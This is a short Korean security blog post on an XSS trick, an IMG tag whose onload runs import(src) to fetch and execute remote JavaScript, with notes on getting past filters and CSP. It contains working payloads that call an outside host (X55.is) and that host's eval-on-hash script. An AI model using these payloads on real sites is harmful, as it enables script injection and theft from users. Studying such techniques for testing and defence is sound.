Import remote JS in IMG tag. for bypass XSS

Import remote JS in IMG tag. for bypass XSS

밤에 트윗을 보다가 간단한 XSS 트릭을 봤는데 특별히 뭔가가 있는건 아니지만 가끔씩 CSP 우회에도 사용될 수 있을 것 같아 글로 작성해둡니다.

Payloads

<Img Src=//remote-xss-link OnLoad=import(src)>

Example..

<Img Src=//X55.is OnLoad=import(src)>

https://brutelogic.com.br/xss.php?a=%3CImg+Src=//X55.is+OnLoad=import(src)%3E

혹시나 X55.is에 뭐 이상한게 있을까 싶어서 대충 봐봤습니다.

⚡ http X55.is
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 262
Content-Type: application/javascript
Date: Mon, 10 May 2021 16:18:35 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding

/* =================================== !/

X55 is Cross-Site Scripting!
Visit https://brutelogic.com.br for more.

/! =================================== */

var frag = document.location.hash;

if (frag) {

  try {

    eval(frag.slice(1));

  } catch(e) {

    alert("URL fragment (#) contains invalid JS code!\nUse X55.is/[cmd] if not possible to edit fragment.");
  }

} else {

  alert(1);

}

그냥 hash(#) 뒤에 문자가 있다면 해당 문자를 기준으로 코드 실행(eval) 아니면 alert(1)로 하도록 되어있네요. 별다른거 없습니다. 😁 물론 소유주가 언제든지 바꿀 수 있으니 개인적으로 따로 올려두시고 쓰는걸 추천드려요.

What is import?

import는 JS의 Statements로 외부의 다른 모듈에서 내보낸 바인딩, 즉 JS 코드를 로드하기 위한 메소드입니다.

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/import

Bypass XSS Protection

물론 IMG 태그에 onload까지 들어갔다면 이미 성공한게 맞습니다. 다만 간혹 주요 구문에 대한 방어 로직이 강하게 걸려있는 경우가 있는데, 이 때 각종 기법들을 이용해서 우회하곤 합니다. 만약 import가 허용되어 있다면 원격지에 공격코드를 두고 쉽게 우회할 수 있긴 하겠네요.

Bypass CSP?

이걸 딱 보자마자 든 생각은 CSP로 인해 resources 로딩이 어려운 경우에 사용할 수 있는 가능성이 보였습니다. 물론 CSP 정책에 따라 다르겠지만, 때때로 특정 도메인에서만의 스크립트만 허용하고 제한적으로 DOM 내부 스크립트 사용 가능한 경우가 있는데 이 때는 import를 통해 허용된 도메인에서 스크립트를 로드하여 실행이 가능하겠네여.

대표적으로.. 아래 주소들이 많이 쓰이니 참고해주세요.

References